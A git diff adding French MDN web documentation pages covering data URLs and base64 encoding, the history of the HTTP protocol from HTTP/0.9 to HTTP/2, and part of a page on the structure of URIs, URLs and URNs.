+<h2 id="Encodage_des_données_au_format_base64">Encodage des données au format base64</h2>
+
+<p>Il est possible de le faire très simplement via la ligne de commande <code>uuencode</code> pour les systèmes Linux et Mac OS X :</p>
+
+<pre>uuencode -m infile remotename
+</pre>
+
+<p>Le paramètre <code>infile</code> est le nom du fichier que vous souhaitez encoder au format base64, <code>remotename</code> est le nom du fichier distant qui n'est pas réellement utilisé dans l'URL de type <code>data</code>.</p>
+
+<p>Le résultat devrait ressembler à :</p>
+
+<pre>begin-base64 664 test
+YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK
+====
+</pre>
+
+<p>L'URL de donnée pourra ainsi utiliser la donnée encodée après l'en-tête.</p>
+
+<h3 id="Dans_une_page_web_via_JavaScript">Dans une page web, via JavaScript</h3>
+
+<p>Les APIs web contiennent des méthodes pour encoder et décoder en base64 : <a href="/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Décoder et encoder en base64</a>.</p>
+
+<h2 id="Problèmes_habituels">Problèmes habituels</h2>
+
+<p>Cette section décrit les problèmes qui apparaissent fréquemment lors de la création et de l'utilisation des URLs de type <code>data</code></p>
+
+<pre>data:text/html,lots of text...&lt;p&gt;&lt;a name%3D"bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+<p>Cela représente une ressource HTML dont le contenu est le suivant :</p>
+
+<pre>beaucoup de texte...&lt;p&gt;&lt;a name="bottom"&gt;bottom&lt;/a&gt;?arg=val
+</pre>
+
+<dl>
+ <dt>Syntaxe</dt>
+ <dd>Le format pour les URLs de type <code>data</code> est très simple, mais il est aussi simple d'oublier la virgule qui précède le segment de données ou de mal encoder la donnée en base64.</dd>
+ <dt>Mise en forme HTML</dt>
+ <dd>Une URL de donnée expose un fichier dans un fichier, le fichier fourni peut éventuellement être bien plus gros que le fichier l'englobant. En tant qu'URL, une URL de donnée devrait pouvoir être mise en forme à l'aide de caractères d'espacement (retour chariot, tabulation ou espace), néanmoins, des limitations pratiques apparaissent lorsqu'il s'agit d'effectuer <a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">l'encodage en base64</a>.</dd>
+ <dt>Limitations sur la longueur</dt>
+ <dd>Bien que Firefox supporte les URLs de données ayant une taille virtuellement infinie, il est important de noter que les navigateurs ne sont pas obligés de supporter une longueur maximale de donnée. Ainsi dans Opera 11 les URLs ont une longueur maximale de 65535 caractères, limitant ainsi la longueur de la donnée utilisable dans les URLs de données à 65529 caractères si celle-ci est encodée.</dd>
+ <dt>Absence de gestion d'erreur</dt>
+ <dd>Les paramètres invalides dans le format MIME ou les coquilles lorsque l'on spécifie <code>'base64'</code>, sont ignorés mais aucune erreur n'est retournée.</dd>
+ <dt>Aucun support des requêtes via l'URL, etc</dt>
+ <dd>
+ <p>La donnée au sein de l'URL de donnée est opaque, ainsi toute tentative d'utiliser une chaîne de paramètres de recherche comme on le ferait avec une URL classique à l'aide de la syntaxe <code>&lt;url&gt;?parameter-data</code>) avec une URL de donnée ne ferait qu'inclure les paramètres de l'URL au sein de la donnée.</p>
+ </dd>
+ <dt>Problèmes de sécurité</dt>
+ <dd>De nombreux problèmes de sécurité (comme le phishing) ont été associés au URLs de donnés et du fait qu'elle puisse avoir un accès direct au navigateur. Afin de réduire l'impact de ces problèmes, la navigation à la racine via des URLs de données <code>data://</code> a été bloquée dans Firefox 59+ (en version finale, Nightly/Beta bloquent à partir de la version 58). Nous espérons voir d'autres navigateurs nous emboîter le pas prochainement. <a href="https://blog.mozilla.org/security/2017/11/27/blocking-top-level-navigations-data-urls-firefox-58/">Voir Blocking Top-Level Navigations to data URLs for Firefox 58</a> pour plus de détails.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Titre</th>
+  </tr>
+  <tr>
+   <td>{{RFC("2397")}}</td>
+   <td>Le schéma d'URL "data"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{compat("http.data-url")}}</p>
+
+<h2 id="Voir_aussi">Voir_aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/WindowBase64/Base64_encoding_and_decoding">Décoder et encoder en base64</a></li>
+ <li>{{domxref("WindowBase64.atob","atob()")}}</li>
+ <li>{{domxref("WindowBase64.btoa","btoa()")}}</li>
+ <li><a href="/fr/docs/Web/CSS/uri">CSS <code>url()</code></a></li>
+ <li><a href="/fr/docs/Glossary/URI">URI</a></li>
+</ul>
diff --git a/files/fr/web/http/basics_of_http/evolution_of_http/index.html b/files/fr/web/http/basics_of_http/evolution_of_http/index.html
new file mode 100644
index 0000000000..fdda44f6a0
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/evolution_of_http/index.html
@@ -0,0 +1,202 @@
+---
+title: L'évolution du protocole HTTP
+slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+tags:
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP
+---
+<div>{{HTTPSidebar}}
+<div>
+<p><strong>Le protocole HTTP</strong> (HyperText Transfer Protocol) est le protocole qui sous-tend le World Wide Web. Conçu par Tim Berners-Lee et son équipe entre 1989 et 1991, HTTP a vécu de nombreux changements tout en conservant sa simplicité, étendant ainsi sa flexibilité. HTTP a évolué à partir d'un protocole sommaire d'échange de fichiers sur un réseau de confiance au sein d'un laboratoire jusqu'à devenir le labyrinthe moderne d'Internet permettant désormais le transport d'images, de vidéos en haute résolution et en 3D.</p>
+
+<h2 id="Linvention_du_World_Wide_Web">L'invention du World Wide Web</h2>
+
+<p>En 1989, alors qu'il travaillait au CERN, Tim Berners-Lee proposa la création d'un système hypertexte sur internet. Initialement nommé <em>Mesh, </em>il prit le nom de World Wide Web lors de sa mise en place en 1990. Bâti sur les protocoles existants TCP et IP, il consistait en quatre éléments de base :</p>
+
+<ul>
+ <li>Un format textuel pour représenter les documents hypertextes, l'<em><a href="/fr/docs/Web/HTML">HyperText Markup Language</a></em> (HTML).</li>
+ <li>Un protocole simple pour échanger ces documents, l'<em>HyperText Transfer Protocol </em>(HTTP).</li>
+ <li>Un logiciel client pour exposer (et modifier) ces documents, le premier navigateur web nommé <em>WorldWideWeb</em>.</li>
+ <li>Un serveur pour garantir l'accès au document, version initiale du <em>httpd</em>.</li>
+</ul>
+
+<p>Ces quatre piliers étaient opératoires dès fin 1990, et les premiers serveurs extérieurs au CERN tournaient déjà début 1991. Le 6 août 1991, Tim Berners-Lee écrit un <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">billet</a> sur le groupe de discussion public <em>alt.hypertext</em> : ce billet est dorénavant considéré comme point de départ officiel du World Wide Web en tant que projet public.</p>
+
+<p>Le protocole HTTP utilisé dans ces premières phases était très simple. Plus tard surnommé HTTP/0.9, il était aussi parfois surnommé le protocole <em>une ligne</em> - "the one-line protocol".</p>
+
+<h2 id="HTTP0.9_–_Le_protocole_une_ligne">HTTP/0.9 – Le protocole <em>une ligne</em></h2>
+
+<p>La version initiale de HTTP n'avait pas de numéro de version. Elle fut appelée 0.9 pour la différencier des versions ultérieures. HTTP/0.9 est extrêmement simple : la requête se compose d'une ligne unique et commence par la seule méthode possible {{HTTPMethod("GET")}}, suivie par le chemin pour accéder à la ressource (sans l'URL, puisque ni protocole, serveur ni port ne sont nécessaires quand on est connecté au serveur) :</p>
+
+<pre>GET /monfichier.html</pre>
+
+<p>La réponse est aussi extrêmement simple, il s'agit directement du fichier demandé :</p>
+
+<pre>&lt;HTML&gt;
+Une page HTML très simple
+&lt;/HTML&gt;</pre>
+
+<p>Contrairement aux évolutions suivantes, il n'y avait pas d'en-tête HTTP. Cela signifie que seuls des fichiers HTML pouvaient être transmis, à l'exclusion de tout autre type de documents. Il n'existait pas de code d'erreur ou d'état : en cas de problème, un fichier HTML particulier, contenant la description du problème rencontré, était renvoyé afin d'être lu par l'utilisateur.</p>
+
+<h2 id="HTTP1.0_–_Mise_en_place_de_lextensibilité">HTTP/1.0 – Mise en place de l'extensibilité</h2>
+
+<p>HTTP/0.9 était très limité. Navigateurs et serveurs l'ont rapidement étendu vers des usages plus polyvalents.</p>
+
+<ul>
+ <li>Dans chaque requête figurent dorénavant les informations de version (<code>HTTP/1.0</code> est ajouté à la ligne <code>GET</code>).</li>
+ <li>Une ligne de code d'état est aussi envoyée au début de chaque réponse. Elle permet au navigateur de prendre connaissance du succès ou de l'échec de la requête, et de s'adapter en conséquence (avec une mise à jour, par exemple, ou en utilisant son cache local de manière spécifique).</li>
+ <li>La notion d'en-tête HTTP a été mise en place à la fois pour les requêtes et pour les réponses. Elle autorise la transmission de métadonnées, et rend le protocole très flexible et extensible.</li>
+ <li>Avec ces nouveaux en-têtes HTTP, il est désormais possible de transmettre d'autres documents que des fichiers HTML bruts (grâce à l'en-tête {{HTTPHeader("Content-Type")}}.</li>
+</ul>
+
+<p>Une requête typique ressemblait ainsi à :</p>
+
+<pre>GET /pamage.html HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:31 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/html
+&lt;HTML&gt;
+Une page avec une image
+  &lt;IMG SRC="/monimage.gif"&gt;
+&lt;/HTML&gt;</pre>
+
+<p>Suivie d'une seconde connexion-requête pour le transfert de l'image :</p>
+
+<pre>GET /monimage.gif HTTP/1.0
+User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
+
+200 OK
+Date: Tue, 15 Nov 1994 08:12:32 GMT
+Server: CERN/3.0 libwww/2.17
+Content-Type: text/gif
+<em>(contenu de l'image)</em></pre>
+
+<p>Ces innovations n'ont pas été mises en place à la suite d'un effort concerté, mais par une approche expérimentale couvrant les années 1991-1995. Un serveur ou un navigateur ajoutaient une fonctionnalité pour voir si elle suscitait l'intérêt escompté. Nombre de problèmes d'interopérabilité relevaient du lot commun. Pour répondre à ces désagréments, un document d'information décrivant les pratiques communes a été publié en novembre 1996, {{RFC(1945)}}. Cela correspondait à la définition de HTTP/1.0. Mais rigoureusement parlant, il convient de noter qu'il ne possède pas l'état de standard officiel.</p>
+
+<h2 id="HTTP1.1_–_Le_protocole_standardisé">HTTP/1.1 – Le protocole standardisé</h2>
+
+<p>Parallèlement aux usages quelque peu chaotiques des différentes applications HTTP/1.0, dès 1995 c'est-à-dire bien avant la publication du document HTTP/1.0 l'année suivante, une standardisation appropriée se trouvait sur les rails. HTTP/1.1, première version standardisée de HTTP, fut publié début 1997, seulement quelques mois après HTTP/1.0.</p>
+
+<p>HTTP/1.1 dissipait des ambiguïtés et introduisait de nombreuses améliorations.</p>
+
+<ul>
+ <li>Connexion pouvant être ré-utilisée : économie du temps qu'il faudrait pour en ouvrir plusieurs dans le but de présenter les ressources constituant le document original récupéré.</li>
+ <li>Ajout du <em>pipelining</em> : permet d'envoyer une seconde requête avant que la réponse de la première ne soit complètement transmise, diminuant le temps de latence de la communication.</li>
+ <li>Désormais les réponses par morceau sont aussi supportées.</li>
+ <li>Mise en place de mécanismes de contrôle de caches additionnels.</li>
+ <li>Mise en place de la négociation de contenu pour le langage, l'encodage et le type : le client et le serveur peuvent ainsi se mettre d'accord sur le contenu le plus adéquat à échanger.</li>
+ <li>Grâce à l'en-tête {{HTTPHeader("Host")}}, la capacité à héberger différents domaines sur la même adresse IP autorise désormais une colocation de serveurs.</li>
+</ul>
+
+<p>Une suite typique de requêtes, toutes via la même connexion, ressemble dès lors à ceci :</p>
+
+<pre>GET /fr/docs/Glossary/Simple_header HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
+
+200 OK
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Wed, 20 Jul 2016 10:55:30 GMT
+Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
+Keep-Alive: timeout=5, max=1000
+Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
+Server: Apache
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+
+<em>(contenu)</em>
+
+
+GET /static/img/header-background.png HTTP/1.1
+Host: developer.cdn.mozilla.net
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/fr/docs/Glossary/Simple_header
+
+200 OK
+Age: 9578461
+Cache-Control: public, max-age=315360000
+Connection: keep-alive
+Content-Length: 3077
+Content-Type: image/png
+Date: Thu, 31 Mar 2016 13:34:46 GMT
+Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
+Server: Apache
+
+<em>(contenu comprenant une image sur 3077 octets)</em></pre>
+
+<p>HTTP/1.1 a été publié pour la première fois en tant que {{rfc(2068)}} en janvier 1997.</p>
+
+<h2 id="Plus_de_quinze_années_dextension">Plus de quinze années d'extension</h2>
+
+<p>Grâce à son extensibilité (création aisée de nouvelles en-têtes et méthodes) et bien que le protocole HTTP/1.1 ait été amélioré par deux révisions - {{RFC("2616")}} publiée en juin 1999, et les séries {{RFC("7230")}}-{{RFC("7235")}} publiées en juin 2014, en prévision de la publication de HTTP/2 - ce protocole s'est montré extrêmement stable pendant plus de quinze ans.</p>
+
+<h3 id="HTTP_pour_des_transmissions_sécurisées">HTTP pour des transmissions sécurisées</h3>
+
+<p>La modification principale du protocole HTTP a été faite vers la fin de l'année 1994. Au lieu d'envoyer HTTP vers une pile TCP/IP basique, Netscape Communication avait ajouté une couche additionnelle de transmission chiffrée : SSL. SSL 1.0 n'est jamais paru en-dehors des entreprises, mais SSL 2.0 et ses successeurs SSL 3.0 et SSL 3.1 ont permis aux sites web e-commerce, grâce au chiffrement, de garantir l'authenticité des messages échangés entre serveur et client. Le SSL a pris place dans les standards internationaux et est finalement devenu TLS. Ses versions 1.0, 1.1 et 1.2 sont apparues pour successivement mettre fin à des vulnérabilités. TLS 1.3 est actuellement en phase d'élaboration.</p>
+
+<p>Dans le même temps, le besoin d'une couche de transport chiffrée s'est avéré de plus en plus nécessaire. Le Web avait perdu de la fiabilité relative d'un réseau principalement académique, pour devenir une jungle où publicitaires, individus problématiques aussi bien que criminels, rivalisent pour obtenir le maximum de données privées concernant les utilisateurs, tenter d'usurper leur identité, et même de remplacer les données transmises par des données altérées. Alors que les applications créées avec HTTP gagnaient en puissance, accédant à un nombre croissant de données privées - telles que listes de contacts, e-mail ou position géographique de l'utilisateur - le besoin d'obtenir TLS est devenu omniprésent, au-delà même des cas d'e-commerce.</p>
+
+<h3 id="Utilisation_de_HTTP_dans_des_applications_complexes">Utilisation de HTTP dans des applications complexes</h3>
+
+<p>La vision initiale du Web de Tim Berners-Lee ne se limitait pas uniquement à consulter des pages. Il imaginait un Web où tout un chacun pourrait ajouter et déplacer des documents à distance tel un système de fichiers distribué. Aux environs de 1996, HTTP a été étendu pour permettre l'édition. Un standard, appelé WebDAV fût alors créé. Il fut ensuite étendu à des applications spécifiques telles CardDAV pour gérer un répertoire d'adresses ou CalDAV pour gérer des calendriers. Toutes ces extensions se finissant par DAV avait une faiblesse : elles devaient être implémentées par le serveur pour pouvoir fonctionner, ce qui ne coulait pas de source. Leur utilisation au sein du Web est restée minimale.</p>
+
+<p>En 2000, un nouveau modèle pour utiliser HTTP fût conçu : {{glossary("REST", "representational state transfer")}} (ou REST). Les actions induites par l'API n'étaient plus transmises par de nouvelles extensions de HTTP mais uniquement en accédant à des URIs à l'aides des méthodes HTTP/1.1 de base. Cela permettait à toute application web de fournir une API à partir de laquelle on autorisait la lecture ou l'écriture des données sans avoir à mettre à jour son serveur ou son navigateur web : tout ce dont on avait besoin était présent dans les fichiers transmis via les méthodes HTTP/1.1. L'inconvénient de l'approche REST étant que chaque site web définit son API REST non-standard et exerce un contrôle total à l'inverse des extensions *DAV ou les clients et les serveurs étaient interopérables. Les API REST sont devenues omniprésentes dans les années 2010.</p>
+
+<p>Depuis 2005, le nombre d'APIs ouvertes sur des pages a énormément augmenté. Certaines APIs ont d'ailleurs étendu HTTP via des en-têtes HTTP spécifiques afin de répondre à des besoins particuliers tels que:</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/Server-sent_events">Évènements générés par le serveur</a>, le serveur peut éventuellement pousser des messages au navigateur.</li>
+ <li><a href="/fr/docs/Web/API/WebSocket_API">WebSocket</a>, un nouveau protocole qui peut être utilisé en passant à une version récente de HTTP.</li>
+</ul>
+
+<h3 id="Relâcher_les_contraintes_du_modèle_de_sécurité_du_Web">Relâcher les contraintes du modèle de sécurité du Web</h3>
+
+<p>HTTP est indépendant du modèle de sécurité du Web, principalement créé via la <em><a href="/fr/docs/Web/Security/Same-origin_policy">same-origin policy</a></em>. En réalité le modèle de sécurité du Web s'est développé après la création de HTTP. D'années en années, il s'est avéré utile de devenir plus tolérant en termes d'origine de contenu, en supprimant certaines restrictions, sous certaines conditions. L'étendue des restrictions levées ainsi que l'application est transmise au client à l'aide d'en-têtes HTTP. Ces en-têtes sont définis au travers des spécifications <a href="/fr/docs/Glossary/CORS">Cross-Origin Resource Sharing</a> (CORS) ou <a href="/fr/docs/Web/Security/CSP">Content Security Policy</a> (CSP).</p>
+
+<p>D'autres extensions de HTTP sont apparues, parfois de manière expérimentale. On mentionnera par exemple les en-têtes connus tels : Do Not Track (Ne pas me pister) ({{HTTPHeader("DNT")}}) permettant de contrôler la vie privée, {{HTTPHeader("X-Frame-Options")}}, ou {{HTTPHeader('Upgrade-Insecure-Requests')}} même s'il en existe beaucoup d'autres.</p>
+
+<h2 id="HTTP2_–_Un_protocole_pour_plus_de_performances">HTTP/2 – Un protocole pour plus de performances</h2>
+
+<p>Au fur et à mesure, les pages web sont devenues de plus en plus complexes quitte à devenir des applications à part entière. La quantité de contenu multimédia ainsi que le nombre de scripts permettant plus d'interactivité ont aussi augmenté, ainsi de plus en plus de données sont transférées via des requêtes HTTP. Les connexions HTTP/1.1 nécessite un ordre séquentiel pour être correctement gérées. En théorie, il est possible d'utiliser plusieurs connexions en parallèle (généralement entre 5 et 8), néanmoins, cela implique beaucoup d'adaptation et apporte énormément de complexité. Ainsi, le <em>pipelining</em> HTTP s'est révélé être un fardeau dans le monde du développement web.</p>
+
+<p>Dans la première moitié des années 2010, Google a montré qu'il était possible d'utiliser une manière différente de communication entre un serveur et un navigateur, ce protocole expérimental porte le nom de SPDY. Cela a intéressé bon nombre de développeurs, que ce soit au niveau des serveurs ou des navigateurs. En augmentant la réactivité et en éliminant la duplication des données transmises, SPDY posa les bases du protocole HTTP/2.</p>
+
+<p>Le protocole HTTP/2 diffère de HTTP/1.1 sur plusieurs aspects:</p>
+
+<ul>
+ <li>Il est encodé en binaire plutôt qu'en texte. Il ne peut donc plus être lu ou écrit à la main. Malgré cette difficulté, il est désormais possible d'implémenter des techniques d'optimisation avancée.</li>
+ <li>C'est un protocole multiplexé. Plusieurs requêtes en parallèle peuvent être gérées au sein de la même connexion, supprimant ainsi la limitation séquentielle de HTTP/1.x.</li>
+ <li>HTTP/2 compresse les en-têtes, étant donné que des en-têtes similaires sont échangés lors d'une suite de requêtes, on supprime ainsi la duplication et l'échange inutiles des données similaires.</li>
+ <li>Il permet au serveur de remplir le cache du client avant qu'il ne soit demandé par ce dernier, on parle alors d'évènements générés par le serveur.</li>
+</ul>
+
+<p>Devenu un standard officiel en mai 2015, HTTP/2 a rencontré un large succès. En janvier 2018, 23.9% des sites web utilisent HTTP/2 (8.7% en 2016)<sup><a href="https://w3techs.com/technologies/details/ce-http2/all/all">[1]</a></sup>. Ce qui représentait en 2015 plus de 68% des requêtes<sup><a href="https://www.keycdn.com/blog/http2-statistics/">[2]</a></sup>. Les sites web générant beaucoup de trafic montre un taux d'adoption très rapide, ce qui s'explique par le gain de bande passante et les économies ainsi générées.</p>
+
+<p>Cette adoption fulgurante de HTTP/2 s'explique probablement par le fait que cette nouvelle version ne nécessite pas de mise à jour des sites web et des applications, l'utilisation de HTTP/1.x ou HTTP/2 étant transparente. Il suffit qu'un serveur à jour et un navigateur moderne communiquent pour que cela fonctionne. La traction générée par les premiers utilisateurs ainsi que le renouvellement des serveurs devenant obsolètes entraînent la croissance de HTTP/2 sans que cela requiert des efforts supplémentaires.</p>
+
+<h2 id="Après_HTTP2">Après HTTP/2</h2>
+
+<p>HTTP n'a pas cessé d'évoluer depuis la parution de HTTP/2, de la même manière que pour HTTP/1.x, la modularité de HTTP permet toujours de lui ajouter de nouvelles fonctionnalités. Il est ainsi possible de mentionner les en-têtes suivants apparus en 2016 :</p>
+
+<ul>
+ <li>Prise en charge de {{HTTPHeader("Alt-Svc")}} qui permet de dissocier l'identification d'une ressource de son emplacement, permettant une optimisation du cache {{Glossary("CDN")}}.</li>
+ <li>L'apparition de {{HTTPHeader("Client-Hints")}} qui permet au navigateur ou client de transmettre directement au serveur des informations relatives à ses contraintes matérielles propres.</li>
+ <li>L'apparition de préfixes liés à la sécurité dans l'en-tête {{HTTPHeader("Cookie")}} permet désormais de s'assurer qu'un cookie sécurisé n'a pas été modifié</li>
+</ul>
+
+<p>Cette évolution de HTTP montre sa modularité ainsi que sa simplicité, permettant la création d'applications et l'adoption du protocole. L'environnement au sein duquel HTTP évolue à l'heure actuelle est sensiblement différent de celui dans lequel il a été créé au début des années 1990. La conception de HTTP s'avère aujourd'hui être un véritable chef-d’œuvre, elle a permis au Web d'évoluer sur un quart de siècle sans créer de scissions. En corrigeant les failles et en continuant à supporter le caractère extensible du protocole, HTTP/2 laisse présager d'un avenir brillant pour ce protocole.</p>
+</div>
+</div>
diff --git a/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html b/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html
new file mode 100644
index 0000000000..0265a81829
--- /dev/null
+++ b/files/fr/web/http/basics_of_http/identifier_des_ressources_sur_le_web/index.html
@@ -0,0 +1,169 @@
+---
+title: Identifier des ressources sur le Web
+slug: Web/HTTP/Basics_of_HTTP/Identifier_des_ressources_sur_le_Web
+tags:
+  - HTTP
+translation_of: Web/HTTP/Basics_of_HTTP/Identifying_resources_on_the_Web
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">La cible d'une requête HTTP est appelée une "ressource", elle ne possède pas de type particulier. Il peut s'agir d'un document, d'une photo ou de n'importe quoi d'autre. Chaque ressource est identifiée à l'aide d'une <em>Uniform Resource Identifier</em> ({{Glossary("URI")}}) utilisé au sein de HTTP pour identifier les ressources.</p>
+
+<p>L'identité et l'emplacement d'une ressource sur le Web sont souvent déterminées via une URL (<em>Uniform Resource Locator</em>° un type d'URI. Il existe des cas valides où l'identité et l'emplacement d'une ressource ne sont pas obtenus par la même URI comme lorsque l'en-tête {{HTTPHeader("Alt-Svc")}} est utilisé. La ressource requise par le client doit alors être récupérée à partir d'un emplacement différent.</p>
+
+<h2 id="URLs_et_URNs">URLs et URNs</h2>
+
+<h3 id="URLs">URLs</h3>
+
+<p>La forme la plus commune des URI est l'URL (<em>Uniform Resource Locator</em> ({{Glossary("URL")}})) que l'on connaît sous le nom d'adresse web.</p>
+
+<pre>https://developer.mozilla.org
+https://developer.mozilla.org/fr/docs/Learn/
+https://developer.mozilla.org/fr/search?q=URL</pre>
+
+<p>Vous pouvez entrer chacune de ces URLs dans votre navigateur pour lui demander de charger la page associée (il s'agit ici de la ressource).</p>
+
+<p>Une URL est composée de différentes parties, certaines obligatoires et d'autres facultatives. Voici un exemple plus complet :</p>
+
+<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
+
+<h3 id="URNs">URNs</h3>
+
+<p>Une URN ou <em>Uniform Resource Name</em> est une URI qui identifie une ressource à l'aide d'un nom dans un espace de noms (namespace) particulier.</p>
+
+<pre>urn:isbn:9780141036144
+urn:ietf:rfc:7230
+</pre>
+
+<p>Ces deux URNs correspondent :</p>
+
+<ul>
+ <li>au livre 1984 de George Orwell,</li>
+ <li>La spécification IETF 7230, Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing.</li>
+</ul>
+
+<h2 id="Syntaxe_des_URIs_(Uniform_Resource_Identifiers)">Syntaxe des URIs (Uniform Resource Identifiers)</h2>
+
+<h3 id="Schéma_ou_protocole">Schéma ou protocole</h3>
+
+<dl>
+ <dt><img alt="Protocole" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>http://</code> constitue le protocole, il indique le protocole qui doit être utilisé par le navigateur. Il s'agit généralement de HTTP ou de sa variante sécurisée HTTPS. Le Web nécessite l'un ou l'autre de ces protocoles néanmoins, les navigateurs sont capables de gérer d'autres protocoles tels que <code>mailto:</code> (pour ouvrir un client mail) or <code>ftp:</code> pour gérer un transfert de fichier. Essayez, lorsque vous naviguez, d'identifier les protocoles utilisés. Les schémas usuels sont :</dd>
+</dl>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Schéma</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>data</td>
+   <td><a href="/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URIs de données</a></td>
+  </tr>
+  <tr>
+   <td>file</td>
+   <td>Fichiers du système hôte sur lequel est installé le navigateur</td>
+  </tr>
+  <tr>
+   <td>ftp</td>
+   <td><a href="/fr/docs/Glossary/FTP">File Transfer Protocol</a></td>
+  </tr>
+  <tr>
+   <td>http/https</td>
+   <td><a href="/fr/docs/Glossary/HTTP">Hyper text transfer protocol (sécurisé)</a></td>
+  </tr>
+  <tr>
+   <td>mailto</td>
+   <td>Adresse électronique</td>
+  </tr>
+  <tr>
+   <td>ssh</td>
+   <td>Secure shell</td>
+  </tr>
+  <tr>
+   <td>tel</td>
+   <td>téléphone</td>
+  </tr>
+  <tr>
+   <td>urn</td>
+   <td>Uniform Resource Names</td>
+  </tr>
+  <tr>
+   <td>view-source</td>
+   <td>code source de la ressource</td>
+  </tr>
+  <tr>
+   <td>ws/wss</td>
+   <td>connexions (chiffrées) <a href="/fr/docs/Web/API/WebSockets_API">WebSocket</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Autorité">Autorité</h3>
+
+<dl>
+ <dt><img alt="Nom de domaine" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>www.exemple.com</code> est le nom de domaine ou l'autorité qui gère cet espace de noms. Il indique quel serveur Web est appelé. Il est aussi possible d'utiliser directement une adresse IP ({{Glossary("IP address")}}), néanmoins elles sont moins pratiques à manipuler pour des humains et sont donc moins fréquemment utilisées pour accéder à une ressource sur le Web.</dd>
+</dl>
+
+<h3 id="Port">Port</h3>
+
+<dl>
+ <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>:80</code> constitue le port. Il indique la "porte" technique à utiliser pour accéder à une ressource sur un serveur web. Il est généralement omis puisque le serveur web utilisera par défaut les ports standards pour HTTP (port 80 pour HTTP et 443 pour HTTPS) pour permettre l'accès aux ressources qu'il héberge. Dans le cas où le port par défaut n'est pas celui utilisé, il est obligatoire de le spécifier.</dd>
+</dl>
+
+<h3 id="Chemin">Chemin</h3>
+
+<dl>
+ <dt><img alt="Chemin d'accès au fichier" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>/chemin/du/fichier.html</code> constitue le chemin d'accès à la ressource sur le serveur web. Au début du Web, le chemin représentait un emplacement physique où le fichier était stocké, à l'heure actuelle il s'agit d'une abstraction gérée par le serveur web sans réelle existence physique..</dd>
+</dl>
+
+<h3 id="Requête">Requête</h3>
+
+<dl>
+ <dt><img alt="Paramètre" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>?key1=value1&amp;key2=value2</code> sont des paramètres additionnels fournis au serveur web. Ces paramètres sont un ensemble de clés/valeurs séparé par le symbole <code>&amp;</code>. Le serveur web peut utiliser ces paramètres pour effectuer des tâches avant de retourner une ressource au client. Chaque serveur web possède ses propres règles en ce qui concerne la gestion des paramètres.</dd>
+</dl>
+
+<h3 id="Fragment">Fragment</h3>
+
+<dl>
+ <dt><img alt="Ancre" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
+ <dd><code>#QuelquePartDansLeDocument</code> est une ancre vers un morceau de la ressource en particulier, elle constitue une sorte de marque-page à l'intérieur de la ressource. Cela permet au navigateur de savoir où aller pour afficher le contenu à l'emplacement de l'ancre. Au sein d'une page HTML par exemple, le navigateur défilera jusqu'à ce point. Pour un document vidéo ou audio, le navigateur essaiera d'accéder au temps indiqué par l'ancre. On notera que la partie située après le caractère #, aussi appelé le fragment, n'est jamais envoyé au serveur avec la requête.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre>https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
